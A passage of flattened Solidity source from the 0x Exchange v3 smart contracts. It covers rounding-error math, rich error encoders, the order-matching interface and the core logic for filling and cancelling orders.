if (target == 0 || numerator == 0) {
return false;
}
// Otherwise, we want the relative rounding error to be strictly
// less than 0.1%.
// The relative error is `remainder / (numerator * target)`.
// We want the relative error less than 1 / 1000:
// remainder / (numerator * denominator) < 1 / 1000
// or equivalently:
// 1000 * remainder < numerator * target
// so we have a rounding error iff:
// 1000 * remainder >= numerator * target
uint256 remainder = mulmod(
target,
numerator,
denominator
);
isError = remainder.safeMul(1000) >= numerator.safeMul(target);
return isError;
}
/// @dev Checks if rounding error >= 0.1% when rounding up.
/// @param numerator Numerator.
/// @param denominator Denominator.
/// @param target Value to multiply with numerator/denominator.
/// @return Rounding error is present.
function isRoundingErrorCeil(
uint256 numerator,
uint256 denominator,
uint256 target
)
internal
pure
returns (bool isError)
{
if (denominator == 0) {
LibRichErrors.rrevert(LibMathRichErrors.DivisionByZeroError());
}
// See the comments in `isRoundingError`.
if (target == 0 || numerator == 0) {
// When either is zero, the ideal value and rounded value are zero
// and there is no rounding error. (Although the relative error
// is undefined.)
return false;
}
// Compute remainder as before
uint256 remainder = mulmod(
target,
numerator,
denominator
);
remainder = denominator.safeSub(remainder) % denominator;
isError = remainder.safeMul(1000) >= numerator.safeMul(target);
return isError;
}
}
pragma solidity ^0.5.9;
library LibMathRichErrors {
// bytes4(keccak256("DivisionByZeroError()"))
bytes internal constant DIVISION_BY_ZERO_ERROR =
hex"a791837c";
// bytes4(keccak256("RoundingError(uint256,uint256,uint256)"))
bytes4 internal constant ROUNDING_ERROR_SELECTOR =
0x339f3de2;
// solhint-disable func-name-mixedcase
function DivisionByZeroError()
internal
pure
returns (bytes memory)
{
return DIVISION_BY_ZERO_ERROR;
}
function RoundingError(
uint256 numerator,
uint256 denominator,
uint256 target
)
internal
pure
returns (bytes memory)
{
return abi.encodeWithSelector(
ROUNDING_ERROR_SELECTOR,
numerator,
denominator,
target
);
}
}
/*
Copyright 2019 ZeroEx Intl.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
pragma solidity ^0.5.9;
import "@0x/contracts-utils/contracts/src/LibRichErrors.sol";
import "./LibOrder.sol";
library LibExchangeRichErrors {
enum AssetProxyDispatchErrorCodes {
INVALID_ASSET_DATA_LENGTH,
UNKNOWN_ASSET_PROXY
}
enum BatchMatchOrdersErrorCodes {
ZERO_LEFT_ORDERS,
ZERO_RIGHT_ORDERS,
INVALID_LENGTH_LEFT_SIGNATURES,
INVALID_LENGTH_RIGHT_SIGNATURES
}
enum ExchangeContextErrorCodes {
INVALID_MAKER,
INVALID_TAKER,
INVALID_SENDER
}
enum FillErrorCodes {
INVALID_TAKER_AMOUNT,
TAKER_OVERPAY,
OVERFILL,
INVALID_FILL_PRICE
}
enum SignatureErrorCodes {
BAD_ORDER_SIGNATURE,
BAD_TRANSACTION_SIGNATURE,
INVALID_LENGTH,
UNSUPPORTED,
ILLEGAL,
INAPPROPRIATE_SIGNATURE_TYPE,
INVALID_SIGNER
}
enum TransactionErrorCodes {
ALREADY_EXECUTED,
EXPIRED
}
enum IncompleteFillErrorCode {
INCOMPLETE_MARKET_BUY_ORDERS,
INCOMPLETE_MARKET_SELL_ORDERS,
INCOMPLETE_FILL_ORDER
}
// bytes4(keccak256("SignatureError(uint8,bytes32,address,bytes)"))
bytes4 internal constant SIGNATURE_ERROR_SELECTOR =
0x7e5a2318;
// bytes4(keccak256("SignatureValidatorNotApprovedError(address,address)"))
bytes4 internal constant SIGNATURE_VALIDATOR_NOT_APPROVED_ERROR_SELECTOR =
0xa15c0d06;
// bytes4(keccak256("EIP1271SignatureError(address,bytes,bytes,bytes)"))
bytes4 internal constant EIP1271_SIGNATURE_ERROR_SELECTOR =
0x5bd0428d;
// bytes4(keccak256("SignatureWalletError(bytes32,address,bytes,bytes)"))
bytes4 internal constant SIGNATURE_WALLET_ERROR_SELECTOR =
0x1b8388f7;
// bytes4(keccak256("OrderStatusError(bytes32,uint8)"))
bytes4 internal constant ORDER_STATUS_ERROR_SELECTOR =
0xfdb6ca8d;
// bytes4(keccak256("ExchangeInvalidContextError(uint8,bytes32,address)"))
bytes4 internal constant EXCHANGE_INVALID_CONTEXT_ERROR_SELECTOR =
0xe53c76c8;
// bytes4(keccak256("FillError(uint8,bytes32)"))
bytes4 internal constant FILL_ERROR_SELECTOR =
0xe94a7ed0;
// bytes4(keccak256("OrderEpochError(address,address,uint256)"))
bytes4 internal constant ORDER_EPOCH_ERROR_SELECTOR =
0x4ad31275;
// bytes4(keccak256("AssetProxyExistsError(bytes4,address)"))
bytes4 internal constant ASSET_PROXY_EXISTS_ERROR_SELECTOR =
0x11c7b720;
// bytes4(keccak256("AssetProxyDispatchError(uint8,bytes32,bytes)"))
bytes4 internal constant ASSET_PROXY_DISPATCH_ERROR_SELECTOR =
0x488219a6;
// bytes4(keccak256("AssetProxyTransferError(bytes32,bytes,bytes)"))
bytes4 internal constant ASSET_PROXY_TRANSFER_ERROR_SELECTOR =
0x4678472b;
// bytes4(keccak256("NegativeSpreadError(bytes32,bytes32)"))
bytes4 internal constant NEGATIVE_SPREAD_ERROR_SELECTOR =
0xb6555d6f;
// bytes4(keccak256("TransactionError(uint8,bytes32)"))
bytes4 internal constant TRANSACTION_ERROR_SELECTOR =
0xf5985184;
// bytes4(keccak256("TransactionExecutionError(bytes32,bytes)"))
bytes4 internal constant TRANSACTION_EXECUTION_ERROR_SELECTOR =
0x20d11f61;
// bytes4(keccak256("TransactionGasPriceError(bytes32,uint256,uint256)"))
bytes4 internal constant TRANSACTION_GAS_PRICE_ERROR_SELECTOR =
0xa26dac09;
// bytes4(keccak256("TransactionInvalidContextError(bytes32,address)"))
bytes4 internal constant TRANSACTION_INVALID_CONTEXT_ERROR_SELECTOR =
0xdec4aedf;
// bytes4(keccak256("IncompleteFillError(uint8,uint256,uint256)"))
bytes4 internal constant INCOMPLETE_FILL_ERROR_SELECTOR =
0x18e4b141;
// bytes4(keccak256("BatchMatchOrdersError(uint8)"))
bytes4 internal constant BATCH_MATCH_ORDERS_ERROR_SELECTOR =
0xd4092f4f;
// bytes4(keccak256("PayProtocolFeeError(bytes32,uint256,address,address,bytes)"))
bytes4 internal constant PAY_PROTOCOL_FEE_ERROR_SELECTOR =
0x87cb1e75;
// solhint-disable func-name-mixedcase
function SignatureErrorSelector()
internal
pure
returns (bytes4)
{
return SIGNATURE_ERROR_SELECTOR;
}
function SignatureValidatorNotApprovedErrorSelector()
internal
pure
returns (bytes4)
{
return SIGNATURE_VALIDATOR_NOT_APPROVED_ERROR_SELECTOR;
}
function EIP1271SignatureErrorSelector()
internal
pure
returns (bytes4)
{
return EIP1271_SIGNATURE_ERROR_SELECTOR;
}
function SignatureWalletErrorSelector()
internal
pure
returns (bytes4)
{
return SIGNATURE_WALLET_ERROR_SELECTOR;
}
function OrderStatusErrorSelector()
internal
pure
returns (bytes4)
{
return ORDER_STATUS_ERROR_SELECTOR;
}
function ExchangeInvalidContextErrorSelector()
internal
pure
returns (bytes4)
{
return EXCHANGE_INVALID_CONTEXT_ERROR_SELECTOR;
}
function FillErrorSelector()
internal
pure
returns (bytes4)
{
return FILL_ERROR_SELECTOR;
}
function OrderEpochErrorSelector()
internal
pure
returns (bytes4)
{
return ORDER_EPOCH_ERROR_SELECTOR;
}
function AssetProxyExistsErrorSelector()
internal
pure
returns (bytes4)
{
return ASSET_PROXY_EXISTS_ERROR_SELECTOR;
}
function AssetProxyDispatchErrorSelector()
internal
pure
returns (bytes4)
{
return ASSET_PROXY_DISPATCH_ERROR_SELECTOR;
}
function AssetProxyTransferErrorSelector()
internal
pure
returns (bytes4)
{
return ASSET_PROXY_TRANSFER_ERROR_SELECTOR;
}
function NegativeSpreadErrorSelector()
internal
pure
returns (bytes4)
{
return NEGATIVE_SPREAD_ERROR_SELECTOR;
}
function TransactionErrorSelector()
internal
pure
returns (bytes4)
{
return TRANSACTION_ERROR_SELECTOR;
}
function TransactionExecutionErrorSelector()
internal
pure
returns (bytes4)
{
return TRANSACTION_EXECUTION_ERROR_SELECTOR;
}
function IncompleteFillErrorSelector()
internal
pure
returns (bytes4)
{
return INCOMPLETE_FILL_ERROR_SELECTOR;
}
function BatchMatchOrdersErrorSelector()
internal
pure
returns (bytes4)
{
return BATCH_MATCH_ORDERS_ERROR_SELECTOR;
}
function TransactionGasPriceErrorSelector()
internal
pure
returns (bytes4)
{
return TRANSACTION_GAS_PRICE_ERROR_SELECTOR;
}
function TransactionInvalidContextErrorSelector()
internal
pure
returns (bytes4)
{
return TRANSACTION_INVALID_CONTEXT_ERROR_SELECTOR;
}
function PayProtocolFeeErrorSelector()
internal
pure
returns (bytes4)
{
return PAY_PROTOCOL_FEE_ERROR_SELECTOR;
}
function BatchMatchOrdersError(
BatchMatchOrdersErrorCodes errorCode
)
internal
pure
returns (bytes memory)
{
return abi.encodeWithSelector(
BATCH_MATCH_ORDERS_ERROR_SELECTOR,
errorCode
);
}
function SignatureError(
SignatureErrorCodes errorCode,
bytes32 hash,
address signerAddress,
bytes memory signature
)
internal
pure
returns (bytes memory)
{
return abi.encodeWithSelector(
SIGNATURE_ERROR_SELECTOR,
errorCode,
hash,
signerAddress,
signature
);
}
function SignatureValidatorNotApprovedError(
address signerAddress,
address validatorAddress
)
internal
pure
returns (bytes memory)
{
return abi.encodeWithSelector(
SIGNATURE_VALIDATOR_NOT_APPROVED_ERROR_SELECTOR,
signerAddress,
validatorAddress
);
}
function EIP1271SignatureError(
address verifyingContractAddress,
bytes memory data,
bytes memory signature,
bytes memory errorData
)
internal
pure
returns (bytes memory)
{
return abi.encodeWithSelector(
EIP1271_SIGNATURE_ERROR_SELECTOR,
verifyingContractAddress,
data,
signature,
errorData
);
}
function SignatureWalletError(
bytes32 hash,
address walletAddress,
bytes memory signature,
bytes memory errorData
)
internal
pure
returns (bytes memory)
{
return abi.encodeWithSelector(
SIGNATURE_WALLET_ERROR_SELECTOR,
hash,
walletAddress,
signature,
errorData
);
}
function OrderStatusError(
bytes32 orderHash,
LibOrder.OrderStatus orderStatus
)
internal
pure
returns (bytes memory)
{
return abi.encodeWithSelector(
ORDER_STATUS_ERROR_SELECTOR,
orderHash,
orderStatus
);
}
function ExchangeInvalidContextError(
ExchangeContextErrorCodes errorCode,
bytes32 orderHash,
address contextAddress
)
internal
pure
returns (bytes memory)
{
return abi.encodeWithSelector(
EXCHANGE_INVALID_CONTEXT_ERROR_SELECTOR,
errorCode,
orderHash,
contextAddress
);
}
function FillError(
FillErrorCodes errorCode,
bytes32 orderHash
)
internal
pure
returns (bytes memory)
{
return abi.encodeWithSelector(
FILL_ERROR_SELECTOR,
errorCode,
orderHash
);
}
function OrderEpochError(
address makerAddress,
address orderSenderAddress,
uint256 currentEpoch
)
internal
pure
returns (bytes memory)
{
return abi.encodeWithSelector(
ORDER_EPOCH_ERROR_SELECTOR,
makerAddress,
orderSenderAddress,
currentEpoch
);
}
function AssetProxyExistsError(
bytes4 assetProxyId,
address assetProxyAddress
)
internal
pure
returns (bytes memory)
{
return abi.encodeWithSelector(
ASSET_PROXY_EXISTS_ERROR_SELECTOR,
assetProxyId,
assetProxyAddress
);
}
function AssetProxyDispatchError(
AssetProxyDispatchErrorCodes errorCode,
bytes32 orderHash,
bytes memory assetData
)
internal
pure
returns (bytes memory)
{
return abi.encodeWithSelector(
ASSET_PROXY_DISPATCH_ERROR_SELECTOR,
errorCode,
orderHash,
assetData
);
}
function AssetProxyTransferError(
bytes32 orderHash,
bytes memory assetData,
bytes memory errorData
)
internal
pure
returns (bytes memory)
{
return abi.encodeWithSelector(
ASSET_PROXY_TRANSFER_ERROR_SELECTOR,
orderHash,
assetData,
errorData
);
}
function NegativeSpreadError(
bytes32 leftOrderHash,
bytes32 rightOrderHash
)
internal
pure
returns (bytes memory)
{
return abi.encodeWithSelector(
NEGATIVE_SPREAD_ERROR_SELECTOR,
leftOrderHash,
rightOrderHash
);
}
function TransactionError(
TransactionErrorCodes errorCode,
bytes32 transactionHash
)
internal
pure
returns (bytes memory)
{
return abi.encodeWithSelector(
TRANSACTION_ERROR_SELECTOR,
errorCode,
transactionHash
);
}
function TransactionExecutionError(
bytes32 transactionHash,
bytes memory errorData
)
internal
pure
returns (bytes memory)
{
return abi.encodeWithSelector(
TRANSACTION_EXECUTION_ERROR_SELECTOR,
transactionHash,
errorData
);
}
function TransactionGasPriceError(
bytes32 transactionHash,
uint256 actualGasPrice,
uint256 requiredGasPrice
)
internal
pure
returns (bytes memory)
{
return abi.encodeWithSelector(
TRANSACTION_GAS_PRICE_ERROR_SELECTOR,
transactionHash,
actualGasPrice,
requiredGasPrice
);
}
function TransactionInvalidContextError(
bytes32 transactionHash,
address currentContextAddress
)
internal
pure
returns (bytes memory)
{
return abi.encodeWithSelector(
TRANSACTION_INVALID_CONTEXT_ERROR_SELECTOR,
transactionHash,
currentContextAddress
);
}
function IncompleteFillError(
IncompleteFillErrorCode errorCode,
uint256 expectedAssetFillAmount,
uint256 actualAssetFillAmount
)
internal
pure
returns (bytes memory)
{
return abi.encodeWithSelector(
INCOMPLETE_FILL_ERROR_SELECTOR,
errorCode,
expectedAssetFillAmount,
actualAssetFillAmount
);
}
function PayProtocolFeeError(
bytes32 orderHash,
uint256 protocolFee,
address makerAddress,
address takerAddress,
bytes memory errorData
)
internal
pure
returns (bytes memory)
{
return abi.encodeWithSelector(
PAY_PROTOCOL_FEE_ERROR_SELECTOR,
orderHash,
protocolFee,
makerAddress,
takerAddress,
errorData
);
}
}
/*
Copyright 2019 ZeroEx Intl.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
pragma solidity ^0.5.9;
pragma experimental ABIEncoderV2;
import "@0x/contracts-exchange-libs/contracts/src/LibOrder.sol";
import "@0x/contracts-exchange-libs/contracts/src/LibFillResults.sol";
contract IMatchOrders {
/// @dev Match complementary orders that have a profitable spread.
/// Each order is filled at their respective price point, and
/// the matcher receives a profit denominated in the left maker asset.
/// @param leftOrders Set of orders with the same maker / taker asset.
/// @param rightOrders Set of orders to match against `leftOrders`
/// @param leftSignatures Proof that left orders were created by the left makers.
/// @param rightSignatures Proof that right orders were created by the right makers.
/// @return batchMatchedFillResults Amounts filled and profit generated.
function batchMatchOrders(
LibOrder.Order[] memory leftOrders,
LibOrder.Order[] memory rightOrders,
bytes[] memory leftSignatures,
bytes[] memory rightSignatures
)
public
payable
returns (LibFillResults.BatchMatchedFillResults memory batchMatchedFillResults);
/// @dev Match complementary orders that have a profitable spread.
/// Each order is maximally filled at their respective price point, and
/// the matcher receives a profit denominated in either the left maker asset,
/// right maker asset, or a combination of both.
/// @param leftOrders Set of orders with the same maker / taker asset.
/// @param rightOrders Set of orders to match against `leftOrders`
/// @param leftSignatures Proof that left orders were created by the left makers.
/// @param rightSignatures Proof that right orders were created by the right makers.
/// @return batchMatchedFillResults Amounts filled and profit generated.
function batchMatchOrdersWithMaximalFill(
LibOrder.Order[] memory leftOrders,
LibOrder.Order[] memory rightOrders,
bytes[] memory leftSignatures,
bytes[] memory rightSignatures
)
public
payable
returns (LibFillResults.BatchMatchedFillResults memory batchMatchedFillResults);
/// @dev Match two complementary orders that have a profitable spread.
/// Each order is filled at their respective price point. However, the calculations are
/// carried out as though the orders are both being filled at the right order's price point.
/// The profit made by the left order goes to the taker (who matched the two orders).
/// @param leftOrder First order to match.
/// @param rightOrder Second order to match.
/// @param leftSignature Proof that order was created by the left maker.
/// @param rightSignature Proof that order was created by the right maker.
/// @return matchedFillResults Amounts filled and fees paid by maker and taker of matched orders.
function matchOrders(
LibOrder.Order memory leftOrder,
LibOrder.Order memory rightOrder,
bytes memory leftSignature,
bytes memory rightSignature
)
public
payable
returns (LibFillResults.MatchedFillResults memory matchedFillResults);
/// @dev Match two complementary orders that have a profitable spread.
/// Each order is maximally filled at their respective price point, and
/// the matcher receives a profit denominated in either the left maker asset,
/// right maker asset, or a combination of both.
/// @param leftOrder First order to match.
/// @param rightOrder Second order to match.
/// @param leftSignature Proof that order was created by the left maker.
/// @param rightSignature Proof that order was created by the right maker.
/// @return matchedFillResults Amounts filled by maker and taker of matched orders.
function matchOrdersWithMaximalFill(
LibOrder.Order memory leftOrder,
LibOrder.Order memory rightOrder,
bytes memory leftSignature,
bytes memory rightSignature
)
public
payable
returns (LibFillResults.MatchedFillResults memory matchedFillResults);
}
/*
Copyright 2019 ZeroEx Intl.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
pragma solidity ^0.5.9;
pragma experimental ABIEncoderV2;
import "@0x/contracts-utils/contracts/src/LibBytes.sol";
import "@0x/contracts-utils/contracts/src/LibRichErrors.sol";
import "@0x/contracts-utils/contracts/src/LibSafeMath.sol";
import "@0x/contracts-utils/contracts/src/Refundable.sol";
import "@0x/contracts-exchange-libs/contracts/src/LibFillResults.sol";
import "@0x/contracts-exchange-libs/contracts/src/LibMath.sol";
import "@0x/contracts-exchange-libs/contracts/src/LibOrder.sol";
import "@0x/contracts-exchange-libs/contracts/src/LibEIP712ExchangeDomain.sol";
import "@0x/contracts-exchange-libs/contracts/src/LibExchangeRichErrors.sol";
import "./interfaces/IExchangeCore.sol";
import "./MixinAssetProxyDispatcher.sol";
import "./MixinProtocolFees.sol";
import "./MixinSignatureValidator.sol";
contract MixinExchangeCore is
IExchangeCore,
Refundable,
LibEIP712ExchangeDomain,
MixinAssetProxyDispatcher,
MixinProtocolFees,
MixinSignatureValidator
{
using LibOrder for LibOrder.Order;
using LibSafeMath for uint256;
using LibBytes for bytes;
// Mapping of orderHash => amount of takerAsset already bought by maker
mapping (bytes32 => uint256) public filled;
// Mapping of orderHash => cancelled
mapping (bytes32 => bool) public cancelled;
// Mapping of makerAddress => senderAddress => lowest salt an order can have in order to be fillable
// Orders with specified senderAddress and with a salt less than their epoch are considered cancelled
mapping (address => mapping (address => uint256)) public orderEpoch;
/// @dev Cancels all orders created by makerAddress with a salt less than or equal to the targetOrderEpoch
/// and senderAddress equal to msg.sender (or null address if msg.sender == makerAddress).
/// @param targetOrderEpoch Orders created with a salt less or equal to this value will be cancelled.
function cancelOrdersUpTo(uint256 targetOrderEpoch)
external
payable
refundFinalBalanceNoReentry
{
address makerAddress = _getCurrentContextAddress();
// If this function is called via `executeTransaction`, we only update the orderEpoch for the makerAddress/msg.sender combination.
// This allows external filter contracts to add rules to how orders are cancelled via this function.
address orderSenderAddress = makerAddress == msg.sender ? address(0) : msg.sender;
// orderEpoch is initialized to 0, so to cancelUpTo we need salt + 1
uint256 newOrderEpoch = targetOrderEpoch + 1;
uint256 oldOrderEpoch = orderEpoch[makerAddress][orderSenderAddress];
// Ensure orderEpoch is monotonically increasing
if (newOrderEpoch <= oldOrderEpoch) {
LibRichErrors.rrevert(LibExchangeRichErrors.OrderEpochError(
makerAddress,
orderSenderAddress,
oldOrderEpoch
));
}
// Update orderEpoch
orderEpoch[makerAddress][orderSenderAddress] = newOrderEpoch;
emit CancelUpTo(
makerAddress,
orderSenderAddress,
newOrderEpoch
);
}
/// @dev Fills the input order.
/// @param order Order struct containing order specifications.
/// @param takerAssetFillAmount Desired amount of takerAsset to sell.
/// @param signature Proof that order has been created by maker.
/// @return Amounts filled and fees paid by maker and taker.
function fillOrder(
LibOrder.Order memory order,
uint256 takerAssetFillAmount,
bytes memory signature
)
public
payable
refundFinalBalanceNoReentry
returns (LibFillResults.FillResults memory fillResults)
{
fillResults = _fillOrder(
order,
takerAssetFillAmount,
signature
);
return fillResults;
}
/// @dev After calling, the order can not be filled anymore.
/// @param order Order struct containing order specifications.
function cancelOrder(LibOrder.Order memory order)
public
payable
refundFinalBalanceNoReentry
{
_cancelOrder(order);
}
/// @dev Gets information about an order: status, hash, and amount filled.
/// @param order Order to gather information on.
/// @return OrderInfo Information about the order and its state.
/// See LibOrder.OrderInfo for a complete description.
function getOrderInfo(LibOrder.Order memory order)
public
view
returns (LibOrder.OrderInfo memory orderInfo)
{
// Compute the order hash and fetch the amount of takerAsset that has already been filled
(orderInfo.orderHash, orderInfo.orderTakerAssetFilledAmount) = _getOrderHashAndFilledAmount(order);
// If order.makerAssetAmount is zero, we also reject the order.
// While the Exchange contract handles them correctly, they create
// edge cases in the supporting infrastructure because they have
// an 'infinite' price when computed by a simple division.
if (order.makerAssetAmount == 0) {
orderInfo.orderStatus = uint8(LibOrder.OrderStatus.INVALID_MAKER_ASSET_AMOUNT);
return orderInfo;
}
// If order.takerAssetAmount is zero, then the order will always
// be considered filled because 0 == takerAssetAmount == orderTakerAssetFilledAmount
// Instead of distinguishing between unfilled and filled zero taker
// amount orders, we choose not to support them.
if (order.takerAssetAmount == 0) {
orderInfo.orderStatus = uint8(LibOrder.OrderStatus.INVALID_TAKER_ASSET_AMOUNT);
return orderInfo;
}
// Validate order availability
if (orderInfo.orderTakerAssetFilledAmount >= order.takerAssetAmount) {
orderInfo.orderStatus = uint8(LibOrder.OrderStatus.FULLY_FILLED);
return orderInfo;
}
// Validate order expiration
// solhint-disable-next-line not-rely-on-time
if (block.timestamp >= order.expirationTimeSeconds) {
orderInfo.orderStatus = uint8(LibOrder.OrderStatus.EXPIRED);
return orderInfo;
}
// Check if order has been cancelled
if (cancelled[orderInfo.orderHash]) {
orderInfo.orderStatus = uint8(LibOrder.OrderStatus.CANCELLED);
return orderInfo;
}
if (orderEpoch[order.makerAddress][order.senderAddress] > order.salt) {
orderInfo.orderStatus = uint8(LibOrder.OrderStatus.CANCELLED);
return orderInfo;
}
// All other statuses are ruled out: order is Fillable
orderInfo.orderStatus = uint8(LibOrder.OrderStatus.FILLABLE);
return orderInfo;
}
/// @dev Fills the input order.
/// @param order Order struct containing order specifications.
/// @param takerAssetFillAmount Desired amount of takerAsset to sell.
/// @param signature Proof that order has been created by maker.
/// @return Amounts filled and fees paid by maker and taker.
function _fillOrder(
LibOrder.Order memory order,
uint256 takerAssetFillAmount,
bytes memory signature
)
internal
returns (LibFillResults.FillResults memory fillResults)
{
// Fetch order info
LibOrder.OrderInfo memory orderInfo = getOrderInfo(order);
// Fetch taker address
address takerAddress = _getCurrentContextAddress();
// Assert that the order is fillable by taker
_assertFillableOrder(
order,
orderInfo,
takerAddress,
signature
);
// Get amount of takerAsset to fill
uint256 remainingTakerAssetAmount = order.takerAssetAmount.safeSub(orderInfo.orderTakerAssetFilledAmount);
uint256 takerAssetFilledAmount = LibSafeMath.min256(takerAssetFillAmount, remainingTakerAssetAmount);
// Compute proportional fill amounts
fillResults = LibFillResults.calculateFillResults(
order,
takerAssetFilledAmount,
protocolFeeMultiplier,
tx.gasprice
);
bytes32 orderHash = orderInfo.orderHash;
// Update exchange internal state
_updateFilledState(
order,
takerAddress,
orderHash,
orderInfo.orderTakerAssetFilledAmount,
fillResults
);
// Settle order
_settleOrder(
orderHash,
order,
takerAddress,
fillResults
);
return fillResults;
}
/// @dev After calling, the order can not be filled anymore.
/// Throws if order is invalid or sender does not have permission to cancel.
/// @param order Order to cancel. Order must be OrderStatus.FILLABLE.
function _cancelOrder(LibOrder.Order memory order)
internal
{
// Fetch current order status
LibOrder.OrderInfo memory orderInfo = getOrderInfo(order);
// Validate context
_assertValidCancel(order, orderInfo);
// Noop if order is already unfillable
if (orderInfo.orderStatus != uint8(LibOrder.OrderStatus.FILLABLE)) {
return;
}
// Perform cancel
_updateCancelledState(order, orderInfo.orderHash);
}
/// @dev Updates state with results of a fill order.
/// @param order that was filled.
/// @param takerAddress Address of taker who filled the order.
/// @param orderTakerAssetFilledAmount Amount of order already filled.
function _updateFilledState(
LibOrder.Order memory order,
address takerAddress,
bytes32 orderHash,
uint256 orderTakerAssetFilledAmount,
LibFillResults.FillResults memory fillResults
)
internal
{
// Update state
filled[orderHash] = orderTakerAssetFilledAmount.safeAdd(fillResults.takerAssetFilledAmount);
emit Fill(
order.makerAddress,
order.feeRecipientAddress,
order.makerAssetData,
order.takerAssetData,
order.makerFeeAssetData,
order.takerFeeAssetData,
orderHash,
takerAddress,
msg.sender,
fillResults.makerAssetFilledAmount,
fillResults.takerAssetFilledAmount,
fillResults.makerFeePaid,
fillResults.takerFeePaid,
fillResults.protocolFeePaid
);
}
/// @dev Updates state with results of cancelling an order.
/// State is only updated if the order is currently fillable.
/// Otherwise, updating state would have no effect.
/// @param order that was cancelled.
/// @param orderHash Hash of order that was cancelled.
function _updateCancelledState(
LibOrder.Order memory order,
bytes32 orderHash
)
internal
{
// Perform cancel
cancelled[orderHash] = true;
// Log cancel
emit Cancel(
order.makerAddress,
order.feeRecipientAddress,
order.makerAssetData,
order.takerAssetData,
msg.sender,
orderHash
);
}
/// @dev Validates context for fillOrder. Succeeds or throws.
/// @param order to be filled.
/// @param orderInfo OrderStatus, orderHash, and amount already filled of order.
/// @param takerAddress Address of order taker.
/// @param signature Proof that the orders was created by its maker.
function _assertFillableOrder(
LibOrder.Order memory order,
LibOrder.OrderInfo memory orderInfo,
address takerAddress,
bytes memory signature
)
internal
view
{
// An order can only be filled if its status is FILLABLE.
if (orderInfo.orderStatus != uint8(LibOrder.OrderStatus.FILLABLE)) {
LibRichErrors.rrevert(LibExchangeRichErrors.OrderStatusError(
orderInfo.orderHash,
LibOrder.OrderStatus(orderInfo.orderStatus)
));
}
// Validate sender is allowed to fill this order
if (order.senderAddress != address(0)) {
if (order.senderAddress != msg.sender) {
LibRichErrors.rrevert(LibExchangeRichErrors.ExchangeInvalidContextError(
LibExchangeRichErrors.ExchangeContextErrorCodes.INVALID_SENDER,
orderInfo.orderHash,
msg.sender
));
}
}
// Validate taker is allowed to fill this order
if (order.takerAddress != address(0)) {
if (order.takerAddress != takerAddress) {
LibRichErrors.rrevert(LibExchangeRichErrors.ExchangeInvalidContextError(
LibExchangeRichErrors.ExchangeContextErrorCodes.INVALID_TAKER,
orderInfo.orderHash,
takerAddress
));
}
}
// Validate signature
if (!_isValidOrderWithHashSignature(
order,
orderInfo.orderHash,
signature
)
) {
LibRichErrors.rrevert(LibExchangeRichErrors.SignatureError(
LibExchangeRichErrors.SignatureErrorCodes.BAD_ORDER_SIGNATURE,
orderInfo.orderHash,
order.makerAddress,
signature
));
}
}
/// @dev Validates context for cancelOrder. Succeeds or throws.
/// @param order to be cancelled.
/// @param orderInfo OrderStatus, orderHash, and amount already filled of order.
function _assertValidCancel(
LibOrder.Order memory order,
LibOrder.OrderInfo memory orderInfo
)
internal
view
{
// Validate sender is allowed to cancel this order
if (order.senderAddress != address(0)) {
if (order.senderAddress != msg.sender) {
LibRichErrors.rrevert(LibExchangeRichErrors.ExchangeInvalidContextError(
LibExchangeRichErrors.ExchangeContextErrorCodes.INVALID_SENDER,
orderInfo.orderHash,
msg.sender
));
}
}
// Validate transaction signed by maker
address makerAddress = _getCurrentContextAddress();
if (order.makerAddress != makerAddress) {
LibRichErrors.rrevert(LibExchangeRichErrors.ExchangeInvalidContextError(
LibExchangeRichErrors.ExchangeContextErrorCodes.INVALID_MAKER,
orderInfo.orderHash,
makerAddress
));
}
}
/// @dev Settles an order by transferring assets between counterparties.
/// @param orderHash The order hash.
/// @param order Order struct containing order specifications.
/// @param takerAddress Address selling takerAsset and buying makerAsset.
/// @param fillResults Amounts to be filled and fees paid by maker and taker.
function _settleOrder(
bytes32 orderHash,
LibOrder.Order memory order,
address takerAddress,
LibFillResults.FillResults memory fillResults
)
internal
{
// Transfer taker -> maker
_dispatchTransferFrom(
orderHash,
order.takerAssetData,
takerAddress,
order.makerAddress,
fillResults.takerAssetFilledAmount
);
// Transfer maker -> taker
_dispatchTransferFrom(
orderHash,
order.makerAssetData,
order.makerAddress,
takerAddress,
fillResults.makerAssetFilledAmount
);
// Transfer taker fee -> feeRecipient
_dispatchTransferFrom(
orderHash,
order.takerFeeAssetData,
takerAddress,
order.feeRecipientAddress,
fillResults.takerFeePaid
);
// Transfer maker fee -> feeRecipient
_dispatchTransferFrom(
orderHash,
order.makerFeeAssetData,
order.makerAddress,
order.feeRecipientAddress,
fillResults.makerFeePaid
);
// Pay protocol fee
bool didPayProtocolFee = _paySingleProtocolFee(
orderHash,
fillResults.protocolFeePaid,
order.makerAddress,
takerAddress
);
// Protocol fees are not paid if the protocolFeeCollector contract is not set
if (!didPayProtocolFee) {
fillResults.protocolFeePaid = 0;
}
}
/// @dev Gets the order's hash and amount of takerAsset that has already been filled.
/// @param order Order struct containing order specifications.
/// @return The typed data hash and amount filled of the order.
function _getOrderHashAndFilledAmount(LibOrder.Order memory order)
internal
view
returns (bytes32 orderHash, uint256 orderTakerAssetFilledAmount)
{
orderHash = order.getTypedDataHash(EIP712_EXCHANGE_DOMAIN_HASH);
orderTakerAssetFilledAmount = filled[orderHash];
return (orderHash, orderTakerAssetFilledAmount);
}
}
/*
Copyright 2019 ZeroEx Intl.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
